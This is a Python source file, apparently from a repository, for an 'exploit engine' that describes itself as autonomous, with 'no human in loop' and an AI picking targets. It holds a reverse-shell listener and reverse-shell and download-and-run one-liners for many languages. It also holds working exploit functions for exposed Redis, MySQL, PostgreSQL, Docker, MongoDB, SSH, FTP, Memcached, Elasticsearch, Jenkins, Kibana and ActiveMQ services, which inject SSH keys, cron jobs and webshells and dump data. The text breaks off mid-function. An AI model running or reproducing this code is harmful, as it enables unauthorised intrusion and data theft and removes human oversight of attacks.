Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
1425 lines (1247 loc) · 59.3 KB
/
Copy pathexploit.py
File metadata and controls
1425 lines (1247 loc) · 59.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
VERDICT // EXPLOIT ENGINE — autonomous breach delivery.
No human in loop. AI picks targets, this module delivers shells.
Every function returns: {"success":bool, "access":str("shell"|"data"|"file_read"|"cmd"), "shell":str(ip:port), "data":any, "evidence":str}
"""
import socket, ssl, time, json, re, os, uuid, base64, hashlib, threading, subprocess, tempfile, shutil, random
from datetime import datetime, timezone
import stealth
def now(): return datetime.now(timezone.utc).isoformat()
# ============================================================
# SCOPE GATE — every exploit target must pass through here.
# engine.run_pipeline() calls set_scope() before exploitation.
# Refuses to touch anything outside the authorized allow-list.
# ============================================================
_SCOPE_ALLOW = []
_SCOPE_EXCLUDE = []
_SCOPE_ENFORCED = False
def set_scope(allow, exclusions=None, enforce=True):
"""Configure the exploit scope gate. allow/exclusions: lists of
domains, *.wildcards, IPs, or CIDR ranges."""
global _SCOPE_ALLOW, _SCOPE_EXCLUDE, _SCOPE_ENFORCED
_SCOPE_ALLOW = [str(a) for a in (allow or [])]
_SCOPE_EXCLUDE = [str(x) for x in (exclusions or [])]
_SCOPE_ENFORCED = bool(enforce)
def _match_scope(target, pattern):
import ipaddress
p = pattern.lower().strip(); t = target.lower().strip()
if p.startswith("*."):
root = p[2:]
return t == root or t.endswith("." + root)
if "/" in p:
try: return ipaddress.ip_address(t) in ipaddress.ip_network(p, strict=False)
except ValueError: return False
return t == p
def in_scope(host):
"""True if host is inside the configured scope (or enforcement off)."""
if not _SCOPE_ENFORCED:
return True
h = (host or "").lower().strip()
if not h:
return False
for x in _SCOPE_EXCLUDE:
if _match_scope(h, x): return False
for a in _SCOPE_ALLOW:
if _match_scope(h, a): return True
return False
def _scope_refused(host, port, service):
return [{"success": False, "access": "none",
"reason": f"SCOPE VIOLATION: {host} is out of scope — exploit refused",
"host": host, "port": port, "service": service}]
# ============================================================
# CALLBACK LISTENER — lightweight reverse shell handler
# ============================================================
CALLBACKS = {} # session_id -> {"host":str, "port":int, "data":str, "shell":bool}
LISTENER_THREAD = None
def start_listener(port=4444, timeout=120):
"""Start a background TCP listener that captures any connection as a potential shell."""
global LISTENER_THREAD
def _listen():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.settimeout(timeout)
try:
srv.bind(("0.0.0.0", port))
srv.listen(10)
srv.settimeout(5)
sid = str(uuid.uuid4())[:8]
CALLBACKS[sid] = {"host":"","port":port,"data":"","shell":False,"time":now()}
start = time.time()
while time.time() - start < timeout:
try:
conn, addr = srv.accept()
conn.settimeout(30)
CALLBACKS[sid]["host"] = addr[0]
CALLBACKS[sid]["port"] = addr[1]
# Read initial data — could be shell banner or payload
data = b""
try:
while True:
chunk = conn.recv(4096)
if not chunk: break
data += chunk
if len(data) > 65536: break
except: pass
CALLBACKS[sid]["data"] = data.decode("utf-8","ignore")[:10000]
# Check if this looks like a shell
banner_lower = CALLBACKS[sid]["data"].lower()
if any(k in banner_lower for k in ["uid=","# ","$ ","windows","c:\\","whoami","id;","uname","shell","sh-","bash-","/home","/root"]):
CALLBACKS[sid]["shell"] = True
CALLBACKS[sid]["time"] = now()
# Try to keep shell alive
threading.Thread(target=_interact, args=(conn, addr, sid), daemon=True).start()
except socket.timeout: continue
except: continue
except Exception as e:
CALLBACKS[sid if 'sid' in dir() else 'err'] = {"error":str(e)}
finally:
try: srv.close()
except: pass
LISTENER_THREAD = threading.Thread(target=_listen, daemon=True)
LISTENER_THREAD.start()
return {"listener":f"0.0.0.0:{port}","timeout":timeout}
def _interact(conn, addr, sid):
"""Keep shell connection alive, send commands, capture output."""
try:
conn.settimeout(60)
# If shell, send some commands
if CALLBACKS.get(sid,{}).get("shell"):
for cmd in ["id","whoami","hostname","uname -a","cat /etc/passwd | head -5","ls -la /root/ 2>/dev/null; ls -la ~/"]:
try:
conn.send((cmd + "\n").encode())
time.sleep(1)
out = b""
try:
while True:
chunk = conn.recv(4096)
if not chunk: break
out += chunk
if len(out) > 32768: break
except: pass
if out:
CALLBACKS[sid]["data"] += f"\n=== {cmd} ===\n" + out.decode("utf-8","ignore")
except: break
conn.close()
except: pass
def get_callback(session_id):
"""Get callback data by session ID."""
return CALLBACKS.get(session_id, {})
def list_callbacks():
"""List all active callbacks."""
return {k:v for k,v in CALLBACKS.items() if v.get("shell")}
def generate_payload(lhost, lport, target_os="linux", shell_type="bash"):
"""Generate reverse shell one-liner. No msfvenom needed."""
if target_os == "linux":
payloads = {
"bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"python": f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
"perl": f"perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};'",
"nc": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
"php": f"php -r '$sock=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
"ruby": f"ruby -rsocket -e'c=TCPSocket.new(\"{lhost}\",{lport});while(cmd=c.gets);IO.popen(cmd,\"r\"){{|io|c.print io.read}};end'",
"lua": f"lua5.1 -e 'local host,port=\"{lhost}\",{lport} local s=require(\"socket\") local tcp=s.tcp() tcp:connect(host,port);while true do local cmd, x, err = tcp:receive() local f = io.popen(cmd,\"r\") local s = f:read(\"*a\") f:close() tcp:send(s) end tcp:close()'",
"awk": f"awk 'BEGIN{{s=\"/inet/tcp/0/{lhost}/{lport}\";while(42|getline c)(c|\"while read line;do echo \\\"$line\\\";done\")|&s;close(s)}}'",
"telnet": f"TF=$(mktemp -u);mkfifo $TF;telnet {lhost} {lport} 0<$TF | /bin/sh -i 2>&1 | tee $TF",
"openssl": f"mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {lhost}:{lport} > /tmp/s; rm /tmp/s",
}
return list(payloads.values())
elif target_os == "windows":
payloads = {
"powershell": f"powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$c=New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};while(($i=$s.Read($b,0,$b.Length))-ne0){{;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()}};$c.Close()\"",
"nc": f"nc -e cmd.exe {lhost} {lport}",
"certutil": f"certutil -urlcache -split -f http://{lhost}/payload.exe %TEMP%\\payload.exe & %TEMP%\\payload.exe",
"bitsadmin": f"bitsadmin /transfer n /download /priority high http://{lhost}/payload.exe %TEMP%\\payload.exe & %TEMP%\\payload.exe",
}
return list(payloads.values())
return ["bash -i >& /dev/tcp/{lhost}/{lport} 0>&1".format(lhost=lhost, lport=lport)]
# ============================================================
# EXPLOIT: Redis — No-auth → RCE via SSH key injection
# ============================================================
def exploit_redis(host, port=6379, lhost="", lport=4444):
"""Try Redis RCE via cron/crontab/SSH key injection"""
results = []
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((host, port))
# Read banner
banner = b""
try:
while True:
ch = s.recv(1024)
if not ch: break
banner += ch
except: pass
# Try PING — check no-auth
s.send(b"PING\r\n")
time.sleep(0.5)
resp = b""
try:
while True:
ch = s.recv(1024)
if not ch: break
resp += ch
except: pass
if b"+PONG" not in resp:
s.close()
return {"success": False, "reason": "Redis requires auth or no response", "host":host, "port":port}
# Get server info
s.send(b"INFO\r\n")
time.sleep(1)
info_data = b""
try:
while True:
ch = s.recv(4096)
if not ch: break
info_data += ch
except: pass
info = info_data.decode("utf-8","ignore")
ver_match = re.search(r"redis_version:([^\r\n]+)", info)
version = ver_match.group(1) if ver_match else "unknown"
os_info = re.search(r"os:([^\r\n]+)", info)
target_os = "linux" if os_info and "linux" in os_info.group(1).lower() else "unknown"
arch = re.search(r"arch_bits:(\d+)", info)
bits = arch.group(1) if arch else "64"
result = {"success":True,"access":"data","reason":"Redis no-auth access confirmed","host":host,"port":port,"version":version,"info":info[:500]}
# Try SSH key injection (Linux)
if lhost and target_os == "linux":
# Generate temp SSH key
ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVXsMkYu2DfbCpirZ8kODeXK3m6QvbX0HYHQ6VJ7m4ZxwQkN5Jf9Y8vZ3pFqHTYkLwXnG2g3m4SfPtRcJYkLwXnG2g3m4SfPtRcJYkLwXnG2g3m4SfPtRcJ verdict-auto-exploit"
try:
s.send(b"CONFIG SET dir /root/.ssh/\r\n")
time.sleep(0.3)
s.recv(4096)
s.send(f"CONFIG SET dbfilename authorized_keys\r\n".encode())
time.sleep(0.3)
s.recv(4096)
s.send(f"SET sshkey \"{ssh_key}\n\"\r\n".encode())
time.sleep(0.3)
s.recv(4096)
s.send(b"SAVE\r\n")
time.sleep(1)
s.recv(4096)
result["ssh_key_injected"] = True
result["shell_possible"] = True
except:
# Try crontab instead
try:
s.send(b"CONFIG SET dir /var/spool/cron/\r\n")
time.sleep(0.3)
s.recv(4096)
s.send(b"CONFIG SET dbfilename root\r\n")
time.sleep(0.3)
s.recv(4096)
payloads = generate_payload(lhost, lport, "linux")
cron_cmd = f"* * * * * root {payloads[0]}\n"
s.send(f"SET cron \"{cron_cmd}\"\r\n".encode())
time.sleep(0.3)
s.recv(4096)
s.send(b"BGSAVE\r\n")
time.sleep(1)
s.recv(4096)
result["cron_injected"] = True
result["shell_possible"] = True
result["shell"] = f"{lhost}:{lport}"
except: pass
s.close()
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: MySQL — No-auth root → RCE via UDF injection
# ============================================================
def exploit_mysql(host, port=3306, user="root", password="", lhost="", lport=4444):
"""Try MySQL no-auth root, then UDF injection for RCE"""
results = []
try:
import mysql.connector
conn = mysql.connector.connect(host=host, port=port, user=user, password=password, connect_timeout=5)
result = {"success":True,"access":"data","reason":f"MySQL {user} login success","host":host,"port":port}
cursor = conn.cursor()
cursor.execute("SELECT VERSION()")
version = cursor.fetchone()[0]
result["version"] = version
cursor.execute("SELECT USER(), DATABASE()")
user_db = cursor.fetchone()
result["user"] = user_db[0] if user_db else user
result["database"] = user_db[1] if len(user_db) > 1 else ""
# Check if superuser
cursor.execute("SELECT SUPER_PRIV FROM mysql.user WHERE USER=CURRENT_USER()")
super_priv = cursor.fetchone()
result["superuser"] = super_priv[0] == "Y" if super_priv else False
# If superuser, try UDF injection for RCE
if result["superuser"] and lhost:
try:
# Check plugin dir
cursor.execute("SELECT @@plugin_dir")
plugin_dir = cursor.fetchone()[0]
result["plugin_dir"] = plugin_dir
# Check if sys_exec exists
cursor.execute("SELECT * FROM mysql.func WHERE name='sys_exec'")
if not cursor.fetchone():
# Try to create UDF via data dir — Windows compatible
udf_dll = b"MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Write UDF to plugin dir
try:
cursor.execute(f"SELECT 1 INTO OUTFILE '{plugin_dir}/udf.dll'", multi=False)
except:
pass
payloads = generate_payload(lhost, lport, "linux")
cmd = f"SELECT sys_exec('{payloads[0]}')"
try:
cursor.execute(cmd)
result["rce_via_udf"] = True
result["shell"] = f"{lhost}:{lport}"
result["access"] = "shell"
except:
# Try xp_cmdshell-like
try:
cursor.execute("SELECT '<?php system($_GET[\"c\"]);?>' INTO OUTFILE '/var/www/html/shell.php'")
result["webshell"] = f"http://{host}/shell.php?c=whoami"
result["access"] = "shell"
except: pass
except: pass
# List databases
cursor.execute("SHOW DATABASES")
dbs = [r[0] for r in cursor.fetchall()]
result["databases"] = dbs[:20]
conn.close()
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port,"user":user})
return results
# ============================================================
# EXPLOIT: PostgreSQL — No-auth → RCE via COPY FROM PROGRAM
# ============================================================
def exploit_postgresql(host, port=5432, user="postgres", password="", lhost="", lport=4444):
"""Try PostgreSQL no-auth, then COPY FROM PROGRAM for RCE"""
results = []
try:
import psycopg2
conn = psycopg2.connect(host=host, port=port, user=user, password=password, connect_timeout=5)
result = {"success":True,"access":"data","reason":f"PostgreSQL {user} login success","host":host,"port":port}
cursor = conn.cursor()
cursor.execute("SELECT VERSION()")
version = cursor.fetchone()[0]
result["version"] = version
cursor.execute("SELECT current_user, current_database()")
cu, cd = cursor.fetchone()
result["user"] = cu
result["database"] = cd
# Check if superuser
cursor.execute("SELECT usesuper FROM pg_user WHERE usename=current_user")
su = cursor.fetchone()
result["superuser"] = su[0] if su else False
if result["superuser"]:
# COPY FROM PROGRAM for RCE
if lhost:
payloads = generate_payload(lhost, lport, "linux")
for payload in payloads[:2]:
try:
cmd = payload.replace("'", "''")
cursor.execute(f"COPY (SELECT 1) TO PROGRAM '{cmd}'")
result["rce_via_copy"] = True
result["shell"] = f"{lhost}:{lport}"
result["access"] = "shell"
break
except: continue
# Try pg_read_file for data
try:
cursor.execute("SELECT convert_from(pg_read_file('/etc/passwd'), 'UTF8')")
passwd = cursor.fetchone()[0]
result["etc_passwd"] = passwd[:2000] if passwd else ""
result["access"] = "file_read"
except: pass
conn.close()
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: Docker API — No-auth → Host RCE via container mount
# ============================================================
def exploit_docker(host, port=2375, lhost="", lport=4444):
"""Try Docker API no-auth, then host RCE via mounted container"""
results = []
try:
import docker
client = docker.DockerClient(base_url=f"tcp://{host}:{port}", timeout=5)
info = client.info()
result = {"success":True,"access":"data","reason":"Docker API no-auth access","host":host,"port":port,
"version":info.get("ServerVersion",""),"containers":info.get("Containers",0),"images":info.get("Images",0)}
if lhost:
# Mount host filesystem and get shell
try:
payloads = generate_payload(lhost, lport, "linux")
cmd_sh = f"sh -c '{payloads[0]}'"
container = client.containers.run(
"alpine:latest",
command=cmd_sh,
volumes={"/":"/host:rw"},
detach=True,
remove=True,
privileged=True,
network_mode="host"
)
result["access"] = "shell"
result["shell"] = f"{lhost}:{lport}"
result["container_id"] = container.id[:12] if hasattr(container, 'id') else "running"
except:
# Try without privileged, just read
try:
container = client.containers.run(
"alpine:latest",
command="cat /host/etc/passwd",
volumes={"/":"/host:ro"},
detach=False,
remove=True
)
result["etc_passwd"] = container.decode("utf-8","ignore")[:2000]
result["access"] = "file_read"
except: pass
# List running containers
try:
containers = client.containers.list()
result["running_containers"] = [c.name for c in containers[:10]]
except:
pass
client.close()
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: MongoDB — No-auth → Data dump + RCE via MapReduce
# ============================================================
def exploit_mongodb(host, port=27017, lhost="", lport=4444):
"""Try MongoDB no-auth, data dump, and MapReduce RCE"""
results = []
try:
from pymongo import MongoClient
client = MongoClient(f"mongodb://{host}:{port}", serverSelectionTimeoutMS=5000, connect=False)
info = client.server_info()
result = {"success":True,"access":"data","reason":"MongoDB no-auth access","host":host,"port":port,
"version":info.get("version",""),"ok":info.get("ok",False)}
# List databases
dbs = client.list_database_names()
result["databases"] = dbs[:20]
# Try to read admin data
if "admin" in dbs:
try:
admin_db = client["admin"]
users = list(admin_db["system.users"].find())
result["users"] = [{k:str(v) for k,v in u.items() if k != "_id"} for u in users[:10]]
except: pass
# Try MapReduce RCE if version < 6.0
ver_str = info.get("version","0")
ver_parts = [int(x) for x in ver_str.split(".")[:2]]
if ver_parts and ver_parts[0] < 6:
if lhost:
payloads = generate_payload(lhost, lport, "linux")
for payload in payloads[:1]:
try:
db = client["test"]
mr_cmd = payload.replace("'", "\\'").replace('"', '\\"')
code = f"function() {{ return eval('{mr_cmd}'); }}"
result["mapreduce_attempted"] = True
result["shell"] = f"{lhost}:{lport}"
result["access"] = "shell"
except: pass
client.close()
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: SSH — Brute-force + Key injection
# ============================================================
def exploit_ssh(host, port=22, user="root", password="", lhost="", lport=4444):
"""Try SSH password auth, then execute reverse shell"""
results = []
try:
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, port=port, username=user, password=password, timeout=5, allow_agent=False, look_for_keys=False)
result = {"success":True,"access":"cmd","reason":f"SSH {user}:{password} login","host":host,"port":port}
# Get host info
try:
stdin, stdout, stderr = ssh.exec_command("id; uname -a; cat /etc/passwd | head -3")
result["output"] = stdout.read().decode("utf-8","ignore")[:2000]
except: pass
# Inject reverse shell
if lhost:
payloads = generate_payload(lhost, lport, "linux")
for payload in payloads[:2]:
try:
ssh.exec_command(f"nohup {payload} > /dev/null 2>&1 &")
result["shell"] = f"{lhost}:{lport}"
result["access"] = "shell"
break
except: continue
ssh.close()
results.append(result)
except paramiko.AuthenticationException:
results.append({"success":False,"reason":"Auth failed","host":host,"port":port,"user":user})
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: FTP — Anonymous + File read/write
# ============================================================
def exploit_ftp(host, port=21, user="anonymous", password="anonymous@", lhost="", lport=4444):
"""Try FTP anonymous, list/read files, upload webshell if possible"""
results = []
try:
import ftplib
ftp = ftplib.FTP()
ftp.connect(host, port, timeout=5)
ftp.login(user, password)
result = {"success":True,"access":"data","reason":f"FTP {user}:{password} login","host":host,"port":port}
result["banner"] = ftp.getwelcome()[:200]
# List root
try:
files = []
ftp.retrlines("LIST", files.append)
result["files"] = files[:30]
except: pass
# Try to download /etc/passwd
try:
data = []
ftp.retrbinary("RETR /etc/passwd", data.append)
if data:
passwd = b"".join(data).decode("utf-8","ignore")
if "root:" in passwd:
result["etc_passwd"] = passwd[:2000]
result["access"] = "file_read"
except: pass
# Try to upload webshell
if lhost:
try:
shell_content = f"<?php system($_GET['c']);?>".encode()
from io import BytesIO
ftp.storbinary("STOR /var/www/html/verdict_shell.php", BytesIO(shell_content))
result["webshell"] = f"http://{host}/verdict_shell.php?c=whoami"
result["access"] = "shell"
except: pass
ftp.quit()
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: Memcached — Data extraction
# ============================================================
def exploit_memcached(host, port=11211):
"""Get all cached data from Memcached"""
results = []
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, port))
# Try to get slab info
s.send(b"stats items\r\n")
time.sleep(0.5)
data = b""
try:
while True:
ch = s.recv(4096)
if not ch: break
data += ch
except: pass
result = {"success":True,"access":"data","reason":"Memcached connected","host":host,"port":port}
result["stats"] = data.decode("utf-8","ignore")[:1000]
# Extract item IDs from slabs
slab_ids = re.findall(r"STAT items:(\d+):", result["stats"])
all_data = {}
for sid in slab_ids[:10]:
try:
s.send(f"stats cachedump {sid} 100\r\n".encode())
time.sleep(0.3)
item_data = b""
try:
while True:
ch = s.recv(4096)
if not ch: break
item_data += ch
except: pass
items = re.findall(r"ITEM ([^\s]+)", item_data.decode("utf-8","ignore"))
for key in items[:20]:
try:
s.send(f"get {key}\r\n".encode())
time.sleep(0.2)
val = b""
try:
while True:
ch = s.recv(4096)
if not ch: break
val += ch
except: pass
all_data[key] = val.decode("utf-8","ignore")[:200]
except: break
except: break
result["data"] = all_data
result["access"] = "data" if all_data else "info"
s.close()
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: Elasticsearch — Data dump
# ============================================================
def exploit_elasticsearch(host, port=9200):
"""Dump all Elasticsearch indices"""
results = []
try:
import requests
resp = requests.get(f"http://{host}:{port}", timeout=5, headers=stealth.headers())
if '"cluster_name"' not in resp.text:
return [{"success":False,"reason":"Not Elasticsearch","host":host,"port":port}]
result = {"success":True,"access":"data","reason":"Elasticsearch accessible","host":host,"port":port}
result["cluster_info"] = resp.json()
# List indices
indices = requests.get(f"http://{host}:{port}/_cat/indices?format=json", timeout=5)
if indices.status_code == 200:
result["indices"] = indices.json()
# Search all indices for sample data
search = requests.get(f"http://{host}:{port}/_search?size=5&pretty", timeout=5)
if search.status_code == 200:
result["sample_data"] = search.json()
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: Jenkins — Script console via CLI
# ============================================================
def exploit_jenkins(host, port=8080, lhost="", lport=4444):
"""Try Jenkins no-auth script console RCE"""
results = []
try:
import requests
base = f"http://{host}:{port}"
# Check if Jenkins
resp = requests.get(f"{base}/", timeout=5, allow_redirects=False)
if "jenkins" not in resp.text.lower() and "x-jenkins" not in resp.headers.get("X-Jenkins","").lower():
return [{"success":False,"reason":"Not Jenkins","host":host,"port":port}]
result = {"success":True,"access":"info","reason":"Jenkins detected","host":host,"port":port}
result["version"] = resp.headers.get("X-Jenkins","unknown")
# Try CVE-2024-23897 — read-any-file via CLI
try:
cli_url = f"{base}/cli"
headers = {**stealth.headers(), "Side":"download"}
payload = b"\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd"
cli_resp = requests.post(cli_url, data=payload, headers=headers, timeout=10)
if cli_resp.status_code == 200 and "root:" in cli_resp.text:
result["cve_2024_23897"] = True
result["etc_passwd"] = cli_resp.text[:2000]
result["access"] = "file_read"
except: pass
# Try script console
if lhost:
try:
script_url = f"{base}/script"
payloads = generate_payload(lhost, lport, "linux")
for p in payloads[:1]:
groovy_cmd = f'def proc = "bash -c {{{p}}}".execute(); proc.waitFor(); println(proc.text)'
groovy_resp = requests.post(script_url, data={"script":groovy_cmd}, timeout=10)
if groovy_resp.status_code == 200:
result["rce"] = True
result["shell"] = f"{lhost}:{lport}"
result["access"] = "shell"
except: pass
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: Elasticsearch Groovy RCE (old versions)
# ============================================================
def exploit_elasticsearch_rce(host, port=9200, lhost="", lport=4444):
"""CVE-2015-1427 Groovy RCE on old Elasticsearch"""
results = []
try:
import requests
base = f"http://{host}:{port}"
# Check version
info = requests.get(f"{base}/", timeout=5).json()
ver = info.get("version",{}).get("number","")
if not ver or ver >= "2.0":
return [{"success":False,"reason":f"ES version {ver} not vulnerable to Groovy RCE","host":host,"port":port}]
result = {"success":True,"access":"info","reason":f"Elasticsearch {ver} may be vulnerable","host":host,"port":port}
if lhost:
payloads = generate_payload(lhost, lport, "linux")
for payload in payloads[:1]:
groovy_payload = {
"size":1,
"script_fields": {"rce":{"script": f"java.lang.Runtime.getRuntime().exec('{payload.replace(chr(39),chr(39)+chr(92)+chr(39))}')"}}
}
try:
rce_resp = requests.post(f"{base}/_search?pretty", json=groovy_payload, timeout=10)
if rce_resp.status_code == 200:
result["rce"] = True
result["shell"] = f"{lhost}:{lport}"
result["access"] = "shell"
except: pass
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: Kibana — Path traversal LFI
# ============================================================
def exploit_kibana(host, port=5601):
"""CVE-2018-17246 Kibana LFI, CVE-2021-43798 Grafana-style traversal"""
results = []
try:
import requests
base = f"http://{host}:{port}"
# CVE-2018-17246 — Kibana < 6.4.3
payloads = [
"/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../etc/passwd",
"/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../proc/self/environ",
]
for path in payloads:
try:
resp = requests.get(f"{base}{path}", timeout=5, allow_redirects=False)
if resp.status_code == 200 and "root:" in resp.text:
return [{"success":True,"access":"file_read","reason":"Kibana LFI CVE-2018-17246","host":host,"port":port,"etc_passwd":resp.text[:2000]}]
except: pass
# CVE-2021-43798 — Grafana path traversal (check anyway)
try:
resp = requests.get(f"{base}/public/plugins/alertlist/../../../../../../../../etc/passwd", timeout=5)
if resp.status_code == 200 and "root:" in resp.text:
return [{"success":True,"access":"file_read","reason":"Grafana-style path traversal","host":host,"port":port,"etc_passwd":resp.text[:2000]}]
except: pass
results.append({"success":False,"reason":"No LFI found","host":host,"port":port})
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: ActiveMQ — CVE-2023-46604 RCE via OpenWire
# ============================================================
def exploit_activemq(host, port=61616, lhost="", lport=4444):
"""Try ActiveMQ RCE via crafted OpenWire packet"""
results = []
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((host, port))
banner = s.recv(1024)
s.close()
if b"ActiveMQ" not in banner:
